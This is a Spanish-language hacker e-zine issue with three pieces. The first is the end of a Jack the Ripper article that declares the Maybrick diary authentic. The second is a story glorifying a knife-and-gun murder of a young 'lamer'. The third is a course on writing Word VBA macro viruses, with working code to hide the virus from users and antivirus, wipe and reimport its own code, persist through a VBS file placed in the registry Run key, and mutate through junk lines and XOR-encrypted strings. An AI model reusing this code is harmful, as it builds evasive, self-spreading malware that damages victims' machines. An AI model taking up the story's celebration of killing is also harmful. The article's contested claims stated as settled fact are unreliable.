este caso, y se encontraba en James Maybrick.  James Maybrick nacio en Liver-
pool, era un comerciante de algodones con diversos negocios en Estados Unidos
y en Inglaterra. Era un adicto al arsenico, a la estricnina y a los prosti-
bulos. Estaba casado con una hermosa joven norteamericana nacida en Alabama,
llamada Florence Chandler con la que tuvo dos hijos (Gladys Evelyn y James
Chandler) y se llevaba 24 anos. La familia Maybrick residia desde principios
de 1888 en Battlecrease House, en el # 7 de Riversdale Road, Aigburth. Flo-
rence tras una terrible vida conyugal seria condenada a cadena perpetua por
el envenenamiento de su marido que murio en 1889 en extranas circunstancias.
Se encontro recientemente un reloj perteneciente a James Maybrick el cual
contenia grabadas en su interior las palabras: I am Jack ("Yo soy Jack").
Las dos primeras letras del nombre y las dos ultimas del apellido forman
Jack.  A Jack el Destripador se le atribuye el haber creado una nueva moda-
lidad en la historia del crimen, el llamado "crimen patologico". Cometio di-
versas aberraciones sexuales, y debido a la ausencia de motivos aparentes,
los crimenes por el cometidos ocasionaron el terror y el espanto entre los
londinenses, ante la perspectiva de cruzar ciertas calles de la ciudad du-
rante los ultimos meses de 1888. Son innumerables los investigadores y detec-
tives que expusieron sus teorias respecto al hombrecillo anodino, pero nunca
se consiguio nada lo suficientemente revelador. Las circunstancias que oca-
sionaron los crimenes fueron objeto de estudios durante mucho tiempo y al
final el caso se etiqueto como "no resuelto" y se archivo; pero la aparicion
del diario de Jack el Destripador, hizo que esos informes policiales y todos
los datos relacionados con Jack salieran otra vez a la luz y de nuevo fueran
estudiados pero esta vez comparandolos con el diario, el cual despues de pasar
por las manos de cientificos especializados en criptografia, en el estudio de
la tinta y otros detalles relacionados, se llego a la conclusion de que el
diario era autentico. No faltan quienes suponen que sus asesinatos se prolon-
garon durante anos, lo cual es bastante improbable (puesto que como ya he co-
mentado, su vida dejo este mundo al poco tiempo de cometer los crimenes), mas
cierto es que tuvieron lugar entre los meses de Agosto y Noviembre.  Un deta-
lle muy significativo es que si nos ponemos a repasar las fechas, todas ellas
caen en fin de semana, lo cual es curioso pero no extrano puesto que no cabe
olvidar que el ser comerciante equivale a viajar y por lo tanto, con la excu-
sa de que tenia que desplazarse por negocios (mintiendo a su mujer) iba de
Liverpool (donde nacio y residia) a Londres de propio, ya con la idea de lo
que tenia planeado hacer. Pero, Porque Whitechapel? Como es que se conocia
al dedillo toda la zona que rodearon a los crimenes? Porque ese odio irra-
cional y tan fuerte hacia las prostitutas?. James Maybrick, en sus tiempos
mozos, se fue a vivir a la Bromley Street, antiguo Camino Comercial, en el
barrio de Whitechapel con su amiga Sarah Robertson, lo cual hizo que conocie-
ra el barrio como la palma de su mano. Florence Maybrick tena un amante
llamado Alfred Brierley, el cual provoco las iras de su esposo James, el cual
llego a la conclusion de que todas las mujeres eran unas putas y por lo tanto
tenian que morir tamandoselo como una venganza. Realmente se inspiraba en los
pensamientos sobre su mujer y el amante de esta para cometer sus crimenes ha-
cia que todas ellas pagaran lo que le estaba haciendo su mujer). La infideli-
dad, ese fue el motivo que le llevo a James Maybrick a cometer tan atroces y
salvajes crimenes.  El barrio East End, en el Londres de la epoca victoriana,
era la prueba mas evidente de la miseria y desigualdad. Al anochecer, los
callejones, los patios y las esquinas eran oscuros antros, sin mas iluminacion
que la proporcionada por algunas velas o quinques que asomaban por los venta-
nucos. La vida en las calles era miserable, delictiva y con frecuencia rozaba
en lo criminal. Para muchas mujeres la prostitucion era el unico medio de vi-
da. Jack el Destripador, penetro en este hervidero humano en 1888, y con el
llegaron el miedo y el panico.  Su primer crimen tuvo lugar en Gunthorpe
Street; la victima fue Martha Turner, una prostituta de mediana edad cuyo
cadaver fue hallado a las cinco de la madrugada en un portal de dicha calle.
El cuerpo presentaba 39 punaladas y sin duda alguna, el criminal habia utili-
zado dos armas diferentes, una de ellas era un cuchillo de hoja larga y la
otra, un instrumento de cirugia (tal hecho hizo pensar a muchas personas el
hecho de que pudiera ser cirujano, o que conocia perfectamente el instrumen-
tal quirurgico). Algunos criminologos no consideraron a Martha Turner victima
del Destripador, porque el cadaver no presentaba las mutilaciones habituales
que mas tarde en todas sus victimas se hicieron caracteristicas. Quizas es-
taba experimentando su metodo de trabajo?. Mary Ann "Polly" Nicholls de 42 a-
nos, tambien prostituta tuvo la mala suerte de encontrarse con el hombrecillo
en la callejuela de Bucks Row, en la madrugada del viernes 31 de Agosto. La
encontro un cartero no lejos de alli, en un patio interior del East End, con
el cuerpo destripado y un corte en la traquea. El siguiente asesinato tuvo
lugar el 8 de Septiembre; la victima fue otra prostituta ( para variar!),
Annie Chapman, de 47 anos. Un dependiente del mercado de Spitalfields encon-
tro el cuerpo en un patio de Hanbury Street. La cabeza, casi completamente
separada del cuerpo, habia sido atada con un panuelo alrededor del cuello
para mantenerla fija. Sus efectos personales (joyas, etc.), habian sido es-
parcidos, tal vez intencionadamente, entre sus vomitivos restos. Habia sido
totalmente destripada, y le faltaban dos dientes, un rinon y los ovarios, to-
do ello realizado de tal manera que revelaba que el asesino o asesinos pose-
ian conocimientos considerables quirurgicos y anatomicos. Se rumoreaba que el
asesino llevaba cuchillos en una pequena bolsa de cuero negra, lo que produjo
el que las gentes histericas persiguieran a cuantos deambulasen por ahi con
bultos parecidos al descrito, por otra parte, muy comunes y propios de diver-
sas profesiones. Gentes de diversos oficios recorrian sobre todo por las no-
ches las calles de Londres. Solo se pudo deducir que el criminal parecia ser
zurdo y que poseia notables conocimientos de medicina. Las salvajadas del
Destripador habian sido realizadas con gran habilidad y destreza, segun uno
de los cirujanos que intervinieron en las investigaciones judiciales.  El 25
de Septiembre, la Agencia Central de Noticias recibio una nota firmada por
el propio Jack el Destripador. Existen razones mas que suficientes para pen-
sar que en realidad eran firmadas por el asesino en persona, y cuyo contenido
era: "Odio a las prostitutas y seguire destripandolas hasta que me canse".
Este mensaje incremento el panico, mientras se fracasaba en los intentos de
hallar al asesino por parte de la policia, que incluso llego a utilizar pe-
rros.  El 30 de Septiembre por la noche, Jack el Destripador llevo a cabo o-
tro de sus atroces crimenes, pero esta vez le toco a dos mujeres y dejo la
unica y poco consistente pista de su brutal carrera. En el 40 de Berner
Street, fue encontrado en un patio el cadaver de la sueca Elizabeth "Long
Liz" Stride vertiendo aun sangre a borbotones por la garganta pero sin pre-
sentar ninguna mutilacion de organos. Posiblemente corrio el riesgo de ser
sorprendido antes de llevar a cabo sus atroces y obscenas practicas, y furio-
so por el fracaso y no satisfecho, se dirigio al oeste de Whitechapel; alli
se encontro con Catherine Eddowes, de 43 anos, cuyo cuerpo fue apunalado de
una manera tan atroz que era practicamente irreconocible, aparecio a escasos
metros de Mitre Square. Un vecino declaro haber visto a un hombre huir del
lugar de los hechos portando un maletin negro. Un reguero de sangre se exten-
dia desde el cuerpo mutilado hasta un portal proximo donde alguien habia
escrito con tiza: "Los judios no tienen la culpa". Quizas fuera el criminal
un judio que queria venganza? Que motivos le impulsaban a sacar su furia
interior? Que le habian hecho esas pobres desgraciadas?. La cuestion es que
estas deberian haber sido estudiadas con suma atencion, pero no fueron apre-
ciadas por su valor y de forma misteriosa e inexplicable, el Jefe de Policia
Charles Warren, ordeno que fueran borradas sin poder ser fotografiadas ni
calcadas.  Al dia siguiente se recibio otra carta en la misma Agencia escrita
con "la sustancia roja" (como le gustaba decir a Maybrick) y en la que el cri
minal manifestaba haber sido sorprendido cuando se disponia a mutilar a su
primera victima, y que la segunda estuvo a punto de delatarle al gritar. La
nota fue depositada en correos poco despues de haberse cometido los asesina-
tos. Con el doble delito todo Londres estaba aterrorizado y se oian muy di-
versos rumores sobre la identidad del Destripador, unos que si era un medico
vesanico, un exiliado polaco furioso o un agente secreto ruso que trataba de
poner en ridiculo a Scotland Yard. Para otros era un puritano autoerigido en
erradicar el vicio de la capital. Se llego incluso a pensar en una comadrona
lunatica impulsada en un odio irracional hacia las "mujeres de la calle", pe-
ro nadie sabia de quien se trataba, y el asesino seguia en libertad, disfru-
tando de las creencias de la gente. El mes de Octubre no fue bueno para James
Maybrick. Su suministro de arsenico y estricnina era intermitente pero sin
los resultados esperados, no obtenia de ellas el vigor y la fuerza que solian
darle y que le hacian falta para cometer los asesinatos. Temporalmente habia
perdido el control, aquel mes no hubo asesinatos por lo que no habia razon
para que escribiera nada en su diario. Durante 3 o 4 semanas no escribio nada
hasta que a finales de Octubre escribe: "Ha pasado demasiado tiempo desde la
ultima, no me he encontrado bien". La noche del 9 de Noviembre, actuo nueva-
mente.  La ultima persona que pudo ver viva a la infortunada Mary Jeannette
Kelly, de 25 anos, tambien prostituta, fue un transeunte llamado George Hut-
chinson. Segun declaraciones suyas, estaba acompanada de un hombre pequeno y
bien vestido, sombrero de caza, un reloj de oro con cadena y bigote rubio. A
primera hora de la manana encontraron su cadaver tendido en su domicilio, una
miserable habitacion alquilada en Millers Court, y a la que seguramente ella
misma habia conducido al asesino. Fue descubierta desnuda y ensangrentada; la
cabeza estaba casi separada del cuerpo y el corazon depositado sobre una almo
hada; sus entranas colgaban del marco de un cuadro. Esta ultima atrocidad ha
pasado a la historia como uno de los crimenes mas barbaros jamas cometidos.
Mary Jeannette fue al parecer la ultima victima del Destripador ya que segun
algunos estudiosos se cometieron otros tres asesinatos que pudieron ser obra
suya; aunque segun otras personas resultaba bastante improbable que fueran
cometidos por el. Todo lo que se ha hablado de este personaje no pasa de me-
ras conjeturas y teorias sin fundamento alguno, aunque Quien sabe!. En cual-
quier caso, Jack el Destripador apenas dejo rastros de interes para el nivel
tecnico de la policia de esa epoca; despues de cada asesinato se ocultaba y
pasaba desapercibido entre la multitud de Whitechapel. Quien era Jack el Des
tripador? Quien era ese personaje con amplios conocimientos quirurgicos?; no
cuadraba que fuera un pobre con conocimientos medicos, y si fuera un rico,
Como es que no destacaba entre la extrema pobreza del East End por su buena
conducta y por su vestuario? Como se las arreglaba para realizar sus "opera-
ciones" en menos de 1 hora cuando realmente esa tarea requeria minimo de esa
hora?. Estos y otros interrogantes se hallan aun sin respuesta, y aunque cues
te creerlo, la policia archivo el caso, dandolo por cerrado, pocos meses des-
pues de la muerte de Mary Kelly. La matanza de Whitechapel se habia temporal-
mente interrumpido pero la historia de Jack el Destripador no acabo con el a-
sesinato de Mary Kelly. Durante la primavera de 1989, el agravamiento de la
enfermedad de Maybrick y el caos y desorden que reinaban en su vida crearon
un remolino que arrastro a su esposa Florie y a su familia. Si alguno de
ellos sospechaba de que James era el terror personificado que durante esa
epoca reino en Inglaterra, nunca lo reconocieron. El secreto quedaria ente-
rrado junto con su cadaver en el cementerio de Anfield (Liverpool). Las hipo-
tesis mas aceptables respecto a la intimidad del asesino parecian basarse en
las notas de un tal Melville MacNaghten, que ingreso en Scotland Yard un ano
despues de los crimenes. Segun MacNaghten la labor policial se centro espe-
cialmente en tres sospechosos: un medico ruso acusado de asesinato llamado
Miguel Ostrog; un judio polaco de apellido Kosmanski que aborrecia, posible-
mente por alguna causa de origen patologica, a las mujeres y especialmente
sobre un abogado corrupto llamado Montague John Druitt. Personas cercanas a
Druitt estaban persuadidas de que este y el Destripador eran la misma persona
Uno de sus primos, el Dr. Lionel Druitt, tenia una clinica de cirugia en
Whitechapel Minories, a tan solo 10 minutos del mas alejado de los lugares
donde el asesino cometio sus crimenes. Sin embargo el tal Druitt debia de ser
lo suficientemente listo como para burlar la vigilancia policial, la de los
vecinos del East End, la de sus parientes, entrar y salir de la clinica sin
ser visto para apoderarse del material, utilizarlo, regresar limpiarlo bien,
dejarlo todo como estaba y todo ello sin ser visto y sin dejar la mas minima
huella. En todo caso, Druitt ni fue interrogado ni muchisimo menos detenido.
Poco despues del ultimo asesinato desaparecio sin dejar rastro. El 31 de Di-
ciembre de 1888 se encontro su cuerpo flotando en el Tamesis. Muchas han sido
las contradicciones encontradas sobre la identidad del destripador, pero si
no hubiera sido por el hallazgo del diario, todos estos misterios se hubieran
quedado en el baul de los recuerdos y nunca se habria encontrado solucion a
este caso que ha conmocionado al mundo, y sobre el cual ya se han cumplido 100
anos.
"Antes de que haya terminado, toda Inglaterra conocera el nombre que me he
dado."
"Manana adquirire el mejor cuchillo que pueda comprar con dinero, nada sera
demasiado bueno para mis putas." Jack El Destripador

Shredder
_____________________________________________________________________________
__16_________________________________________________________________________


Working for a lammer-free world

               By
       
                 Vil Roach

Bastaron 5 minutos de estar en el canal #hackerstone, para darme cuenta que
algo estaba mal, un pendejito de mierda preguntando como hackear?, con que
programa hackear ? y que es para ti hackear? , pues ya sabes volarle el win-
dows a alguien!. GRAN MARICA.

Nokeyz,Zed,Wanna,Radioactivo Newz,etc,etc, todas desfilando por mi preciosos
monitor , todas escupiendo articulajos de 3 pesos, todas alabando a linux sin
saber usarlo, todas con su articulo de introduccion al telnet, y lo que es
peor todas las desgraciadas e-zines cobijandose bajo principios tan sagrados
como la anarquia, la libertad y el cyberpunk.

Me conecto a Internet Ezkracho Team, Colhackers ,La cupula, todas con sus vi-
les maricadas, cientos de free hostings desperdiciados, precioso ancho de
banda y en el peor de los casos dominios tirados a la basura , maldita sea !,
y para que, para ver que son capaces de cambiar el fondo de una web page con
pasar el cursor por algun lado, para que me intimiden diciendome que navega-
dor uso y de que pagina vengo , Pues Vayanse pa la PUTA MIERDA con sus Java-
scripts copiados y sus gifs de DooM.


No importa Vil, no importa recuerda que tu siempre tienes la de ganar,
simplemente apago la maquina y me voy a dormir un rato antes de mi cita...
mucho mejor, realmente el efecto es desintoxicante, 2 horas sin elementos
lamers son muy relajantes, ese es el problema de la red, tal como la vida esta
llena de estupidos, pero no importa, empaco mis "instrumentos" y me dirijo al
mall, justo a la 5:00 de la tarde llega mi cita, un pendejito de #linux-
latino, me mando un privado preguntandome como instalar el linux, y yo le
dije : no problemo, yo te lo instalo baratico ;), obviamente despues de ave-
riguar si vivia solito, cuando llegamos la cosa no podia ser mejor, el mucha-
chito tenia plata, pero vivia solo en la ciudad y por lo tanto tenia un apar-
taestudio gigantesco y en un ultimo piso, me emocion cada vez mas y comienzo
a hablar con el para aminorar mi emocion, lo tenia todo planeado iba a ser
lento y doloros, gozando cada segundo, pero la cosa esa empieza a hablarme
de sus "hacks", de todo su conocimiento y luego comienza a hablar de su
"vida social" y a contarme de mujeres que me imagino solo existen en su ima-
ginacion, "y lina me dijo esto..", "pero clara ya me habia dicho", "y .."
"por que ?.." "ehh..", y sigue hablando y una y otra vez, es increible, parece
que no tuviera control sobre su estupidez, ya no aguanto, es insoportable,
"la tostada verde...", saco mi Ginzu 2000 y en un rapido movimiento, que
habia sido calculado por aos le destajo la garganta, por fin se calla, trata
de hablar pero el aire escapa por su nueva "boca" antes de llegar sus cuerdas
vocales, su patetico aspecto es inspirador,pero lo olvido por un momento para
descansar y sentir el silencio, el maravilloso silencio, soy casi feliz, pero
uno de los gorgoteos del lamer es lo suficientemente agudo como para descon-
cetrarme, despierto furioso y le tiro un cuchillazo sin pensarlo, el movi-
miento es imprevisto y descontrolado, casi romantico, la sangre fluye a bor-
botones por su brazo medio amputado, creo que ahora no podre manejar sus
scripts del mirc con el brazo izquierdo, jaja, lo observo por unos instantes,
mientra que hago cortes al azar, pero me aburro de que en su patetico estado
semi desfigurado siga rogando con su maldita mirada para que lo deje vivir,
asi que saco mi 38 y le propino 3 buenos tiros, al fin murio, Limpio y claro!,
como debio haber sido desde un principio.

Salgo del edificio y creo que nadie me ve, estoy relajado, casi feliz, me
acerco a una tienda y me compor una cerveza y un BomBomBun (toda una comida),
me siento en un parque, disfruto  esos instantes porque se que son sagrados,
el silencio, el delicioso silencio; decido irme, comienzo a caminar y justo
cuando paso por un bar, y algo me llama al atencion, me acerco y contemplo
extasiado justo lo que me esperaba, un 2600 meeting, es fabuloso. Me dirijo
rapidamente a mi casa y empaco unas cuantas cosas, vuelvo a salir, en el
camino me fumo un cigarrillo y espero, es algo que se hacer muy bien, y
mientras espero solo pienso una cosa, esta noche sera mas provechosa de lo
que crei ..

_____________________________________________________________________________
__17_________________________________________________________________________

Curso De programacion De Virus En VBA 

                        By             

                     Vil Roach / Trenchcoat Legion


The Complete Index

Part 1:

-Introduccion.
-Que Es Un Virus
-Que Es Vba
-La infeccion
-Analisis De un Virus : Caligula

Part 2 :
------ -

-Stealth
-Polimorfismo
-Analisis De un Virus : Sence.c

Part 3 :

-Payload
-Residencia en Memoria ?
-Cross Infection
-Analisis De un Virus : ?

Part 4 :

-Realizacion De un virus final
-Los Grandes Maestros

Nota : Este indice como todo en la vida no podia y no pudiendo ser la excepcion
esta sujeto a cambios en su estructura .


Welcome to part 2

Ya que casi no me da la gana de continuar con este curso creo que es mejor ir
al grano y comenzar de una vez con el curso; lo unico que me queda por aclarar
es que la casilla de mi e-mail esta abierta a dudas y COLABORACIONES, y reco-
mendar si aun no se ha hecho la lectura de la primera parte de este curso, con
el fin de optimizar el aprendizaje de esta parte .


Stealth
-------

Cuando hablamos de virus , la parte mas importante de estos es su capacidad de
reproducirse y sobrvivir para continuar con exito la reproduccion, y uno de los
factores que podria hacer que el virus "muriera" seria su facil deteccion por
sus enemigos neturales como el usuario avezado o el programa antivirus, y pre-
cisamente de esto se debe encargar el Stealth en un virus, en hacer que este
sea invisible para el usuario y para los antivirus,aunque de los ultimos se
encarga en mayor medida el polimorfismo, asi que lo primero que debemos estu-
diar es como el usuario puede detectar nuestro virus :

-Mirando el codigo fuente desde el VBEditor

-Mirando El dialogo Macros del menu herramientas donde veria el nombre de
 nuestro macros

-Desde el dialogo de templates tambien se puede ver los macros actuales

Asi que nuestras acciones deben estar encaminadas a cubrir estos posibles
ataques y tratar de esconder el cuerpo del virus de los ojos curiosos, y lo
mejor de todo es que cada vez que sucede lo anterior se ejecuta, correspon-
dientemente, los siguientes macros  :

-Sub ViewVBCode()

-Sub ToolsMacro()

-Sub FileTemplates()

Asi que viendo esto se nos comienzan a ocurrir las primers idea para que el
usuario no descubra el virus, que tal si escribimos esto :

Sub ViewVBCode()

End Sub

Sub ToolsMacro()

End Sub

Sub FileTemplates()

End Sub

Pues que cada vez que el usuario tratara de ver el codigo o un cuadro de
dialogo, pues no saldria nada de nada, el problema con esto es que este
comportamiento es muy sospechoso, asi que podemos mejorarlo asi :

Sub ViewVBCode()
MsgBox "Fatal Error # 0x0DE0F45C4", vbCritical, "Microsoft Word Error"
End Sub

Esto le diria al usuario que ocurrio un error y por eso no podemos mostrar el
Editor, y despues de todo quien no creera en un error en el Microsoft Office? 
;)

Si queremos simular un error en cualquier cuadro de dialogo, podriamos hacer
algo como esto :

Sub ToolsMacro
With Application.Dialogs.Item(wdDialogToolsMacro)
.Display (1)
End With
End Sub

Esto provoca que el dialogo se muestre durante un pequeo instante y luego
desaparezca ;)

Otra parte fundamental del codigo es que lo deberiamos de hacer lo menos sos-
pechoso posible, para que engae a los usuarios mas ingenuos, por ejemplo
agregandole al principio algo como esto :


' Microssoft Visual Basic Edicion Para Aplicaciones

' c) 1997 Microsoft Corporation. Reservados todos los derechos.


' Este programa esta protegido por leyes de derchos de autor y


' otros tratados internacionales . La reproduccion y distruibicion


' autorizadas de este programa o de cualquier parte del mismo


' pueden dar lugar a responsabilidades civiles y criminales y seran


' perseguidas y castigadas debidamente .


Y lo mas importante es que si nuestro virus tiene cadenas como :

"You are totally Fucked With The ^Paquita Gallego^ Virus "

Hacer de estas algo mucho menso sospechosas, por ejemplo encripatandolas, o
poniendoles el codigo ascii y si eso les parece muy laborioso, para eso esta
este pequeo programilla del grandioso Vicodin_es, que hace el trabajo sucio
por nosotros :

Sub Convert()
Dim this As String
Dim that As String
Dim FinalConvert As String
Set CConvert = New DataObject

this = InputBox("Enter String To Convert :", "The VicodinES VBA String Converter")

If this = "" Then
	MsgBox "No valid input", vbCritical, "VVSC Error"
	End
End If

length_this = Len(this)

For countout = 1 To length_this
	ToConvert = Mid(this, countout, 1)
	For x = 1 To 400
		that = Chr(x)
		If that = ToConvert Then
			FinalConvert = FinalConvert + "Chr(" & x & ")"
			If countout <> length_this Then FinalConvert = FinalConvert + " + "
			GoTo drop
		End If
	Next x
	drop:
Next countout

MsgBox "Your Converted Text String Is In The Clipboard" + vbCr + vbCr + " --> Paste It Now So You Don't To Lose It! <-- ", vbInformation, "String.Poppy.Utility (c)1998"
CConvert.SetText FinalConvert
CConvert.PutInClipboard

End Sub

Simplemente copien el programa en el VBEditor y ejecutenlo, luego metan el
mensaje a codificar en la caja de texto y listo, ya esta el texto codificado
en el portapapeles. He aqui un ejemplo de las ventajas de esta tecnica, el
tipico "antes" y "despues" :

Antes :

MsgBox "Fuck You Maricon!", , "American Bad-AsS"

Despues  :

MsgBox Chr(70) + Chr(117) + Chr(99) + Chr(107) + Chr(32) + Chr(89) + Chr(111)
+ Chr(117) + Chr(32) + Chr(77) + Chr(97) + Chr(114) + Chr(105) + Chr(99) +
Chr(111) + Chr(110) + Chr(33), , Chr(65) + Chr(109) + Chr(101) + Chr(114) +
Chr(105) + Chr(99) + Chr(97) + Chr(110) + Chr(32) + Chr(66) + Chr(97) + Chr(100)
+ Chr(45) + Chr(65) + Chr(115) + Chr(83)

Menos sospechoso, mas "tecnico", y tenemos los mismos resultados !

Otra tecnica basica para disimular nuestros virus es ponerle nombres a los
archivos, que parezcan como si fueran de sistema y que sean de extension .sys
o .dll o cualquier extension que sea escondida por defecto, por ejemplo :

"C:\Windows\Wingdi.sys"
"C:\Windows\System\Kernelw32.dll"

Y ahora vamos a ver las tecnicas de steath mas avanzadas :

-Borrar el codigo?

Pues si seores, la solucion mas logica es casi siempre la correcta, si
queremos que el usuario no vea el codigo, simplemente lo borramos antes de
que intente verlo. 

Pero no se preocupen, nos vamos a asegurar de que el codigo sea recuperado a
su debido tiempo , y como podemos hacer esto ?

Pues existen muchisimas maneras y aque voy a explicar 2 :

La primera cnsiste en exportar el codigo del virus a un archivo antes de
borrarlo y luego crear un script en VBS que se ejecute cuando se reinicie el
computador y vuelva a escribir el codigo, tan simple como util, y todo se lo
debemos a Fitnic que invento esta tecnica.

Asi que lo primero que hacemos es borar el codigo asi (Codigo de mi virus WM/Legacy que se encuen
tra en TCDiaries#1) : 

Sub ViewVbCode()
NOL = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'   Obtenemos el numero de lineas del virus 
NormalTemplate.VBProject.VBComponents.Item(1).codemodule.deletelines 1, NOL
'   Borramos todas las lineas del virus en NormalTemplate
For x = 1 To Documents.Count
'   Obtenemos el numero de documentos 
Documents.Item(x).VBProject.VBComponents.Item(1).codemodule.deletelines 1, NOL
'   Y borramos todas las lineas
Next x

Listo ahora exportamos el codigo a Res.Sys:

da.Item(1).export ("C:\Windows\Res.Sys")
pl.Item(1).codemodule.AddFromFile ("C:\Windows\Res.Sys")
pl.Item(1).codemodule.deletelines 1, 4
pl.Item(1).codemodule.replaceline 1, " Sub AutoOpen"
pl.Item(1).codemodule.replaceline 44, " Sub ViewVbCode"
pl.Item(1).codemodule.replaceline 52, " Sub AutoExit"

Y creamos el archivo que reinfectara la NormalTemplate :

Open "C:\Windows\Io.Vxd.Vbs" For Output As #1
Print #1, "On Error Resume Next"
Print #1, "Set JP = CreateObject(" + Chr(34) + "Word.Application" + Chr(34) + ")"
Print #1, "JP.NormalTemplate.VBProject.VBComponents.AddFromfile (" + Chr(34) + "C:\Windows\Res.Sys" + Chr(34) + ")"
Print #1, "JP.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, 4"
'El vbs simplemente crea una instancia de "microsoft Word" y desde alli importa de nuevo el codigo 
Close #1

Y ahora nos aseguramos de que se ejecute cuando se reinicie la maquina :

System.PrivateProfileString("","HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,"Winmon") = "start C:\Windows\Io.Vxd.Vbs"

Y listo ! ya tenemos una de las mas elegantes tecnicas de stealth, la cual
como todo en esta vida es suceptible de mejoras .

Y ahora les explicare por encima la segunda la cual es mucha mas compleja y
fue creada por Weird Genius en su Virus Spunk y consiste basicamente en guardar
todo el codigo virus en una plantilla aparte y enlazar esta plantilla con
normal.dot. luego se interceptan los menus para que se ejecute la macro que
queramos (si alguien se pregunta como se hace he aqui una pista : 
CommandBars("Tools").Controls("Templates and Add-&Ins...").OnAction = "TemplateStealth" )
asi que cuando se ejecute el macro que queramos este descargara la plantilla
que contiene el codigo virico, pero como este macro aun esta en memoria se
seguira ejecutando cuando se cierre el dialogo y cuando esto suceda volveremos
a cargar la plantilla, simplemente brillante :)

Y por ultimo una tecnica stealth que se me acaba de ocurri y por lo tanto es
de mi propia creacion :), lo que hace es guardar el codigo en un archivo
externo pero con la diferencia que este lo vuelve a mostrar inmediatamente
se ciere la ventana de visualbasic, basicamente es esto:

Sub ShowVBCode()
NormalTemplate.VBProject.VBComponents.Item("Mi Virus").Export ("C:\Autoboot.sys")
NormalTemplate.VBProject.VBComponents.Item("Mi Virus").CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item("Mi Virus").CodeModule.CountOfLines
'  Borramos todo el codigo
ShowVisualBasicEditor = True
'  Mostramos el visualbasiceditor
While (ShowVisualBasicEditor = True)
Wend
'  Esperamos a que el usuario cierre el Editor
NormalTemplate.VBProject.VBComponents.Import ("C:\Autoboot.sys")
'  Y volvemos a insertar el codigo :)
End Sub

El codigo anterior solo trabajara si el virus esta en la NormalTemplate y el
virus no es del tipo " Class Infection ", pero de todas maneras como base de
algo serio esta muy bien .


Polimorfismo
------------

Esta es quizas una de las tecnicas de virus mas excitantes y entretenidas
para programar, y basicamente consiste en hacer que el virus cambie su aspecto
de generacion en generacion, lo cual hace mas dificil la identificacion del
virus por parte del antivirus y por lo tanto su correcta
remocion del sistema.

Los antivirus para identificar los virus de Word, al no disponer del formato
interno del .doc, se deben limitar a escanear los archivos en busca de cadenas
qie identifiquen a un virus en particular o a buscar instrucciones de VBasic
que sean comunes en los virus, por ejemplo : VirusProtection = False o cosas
asi, pero lo mas importante de esto es que nos queda en claro que la forma mas
facil de identificar un virus es por sus "seas" particulares, es decir el nombre
de sus variables y las cadenas que use para sacar mensajes o cosas asi.

Asi que la primera tecnica que aprenderemos de "polimorfismo " y la primera
que se uso para virus de macro es la de cambiar el nombre de las variables,
esto simplemente lo hacemos guardando en un Array todas las variables que
tenemos, generar un nombre para cada una de ellas con caracteres al azar, y
luego buscar cada variable en el codigo que vamos a insertar y cambiarla X
el nuevo nombre, esta rutina a sido implantada por mucho tiempo pero, con las
tecnicas que aprenderemos mas adelante veremos que es totalmente innecesaria.


Otra tecnica basica es la de hacer el virus con una linea de espacio entre
cada linea y luego insertar codigo o comentarios basura entre lineas,que
seran distintas de generacion en generacion El siguiente ejemplo de
Vicodin_es, inserta el nombre del usuario y de la impresora entre cada 
linea del virus :

Function VSMP()

Y = Application.VBE.ActiveVBProject.VBComponents("VSMP_DEMO").CodeModule.CountOfLines
'   Obtiene el numero de lineas del virus
With Application.VBE.ActiveVBProject.VBComponents("VSMP_DEMO").CodeModule
'
For x = 2 To Y Step 2
'
.ReplaceLine x, "' " & Application.UserInitials & Now & Application.UserName & Application.ActivePrinter & Now
'   Remplaza la lineas pares con el nombre del usuario, la impresora y la hora actual
Next x
'
End With
'   Y Listo !!
End Function
'
' Vic's Simple Macro Poly
'
' Replace "VSMP_DEMO" with the name of your macro vius
'
' Remove these comments
'
' peace,
'
' VicodinES /CB /TNN
'
' This simple module defeats McAfee and F-Macrow !!!

Otra variacion aun mas sipmle seria que en vez de ponerel nombre, la impresora
y la fecha podriamos poner caracteres generadoz al azar, simple y efectivo.
Y lo hariamos agregando estas lineas :

For x = 1 To 90
Cadena$ = Cadena$ + Chr$(Int(100 * Rnd() + 75))
Next x

y cambiando esta linea :

.ReplaceLine x, "' " & cadena$

Por cirto Vicodin_es es un excelente programador de Virus en VBA, si quieren
aprender algo deberian buscar su pagina en Internet.


Como vemos estas tecnicas son muy simples y aun estan lejos de cumplir el
objetivo principal del polimorfismo: hacer que este no sea identificable por
medio del rastreamiento de cadenas, asi que ya sabemos que tenemos que
ocuparnos de las cadenas, y esto lo podemos lograr encriptando las cadenas con
un simple XOR y cambiar el valor del xor de generacion en generacion, si no
entienden espero que con este codigo lo hagan :


Supongamos que queremos encriptar las dos cadenas de esat rutina :

Sub Vil()
 papo = "Ejemplo de polimorfismo para tcdiaries #2"
 jose = "Trenchcoat Legion - Tcdiaries.cjb.net"
 alert = vbCritical
MsgBox papo, alert, jose
End Sub

Entonces usamos esta rutina para encriptarlas :

Sub encrypt()
For x = 1 To Len(papo)
car = Mid$(papo, x, 1)
numcar = Asc(car)
newcar = numcar Xor 6
newpapo$ = newpapo$ + Chr$(newcar)
Next x
For x = 1 To Len(jose)
car = Mid$(jose, x, 1)
numcar = Asc(car)
newcar = numcar Xor 6
newjose$ = newjose$ + Chr$(newcar)
Next x
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 2, "papo = " & Chr(34) & newpapo$ & Chr(34)
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 3, "jose = " & Chr(34) & newjose$ & Chr(34)
End Sub

Y esta seria la funcion con las cadenas encriptadas y su propia funcion (unecrypt) que las 
desencripta :)

Sub Vil()
papo$ = "Clckvji&bc&vijokit`ouki&vgtg&rebogtocu&%4"
jose$ = "Rtcheneigr&Jcaoih&+&Rebogtocu(eld(hcr"
Call unencrypt(papo$)
papo$ = newcad
Call unencrypt(jose$)
jose$ = newcad
alert = vbCritical
MsgBox papo, alert, jose
End Sub


Function unencrypt(cad As String)
newcad = ""
For x = 1 To Len(cad)
car = Mid$(cad, x, 1)
numcar = Asc(car)
newcar = numcar Xor 6
newcad = newcad + Chr$(newcar)
Next x
End Function

Lo unico que habria que variar en el codigo seria poner que la variable
del Xor fuera variable en cada infeccion, lo cual es sencillisimo.

Ahora si que estamos avanzando cada vez vamos aprendiendo tecnicas mas
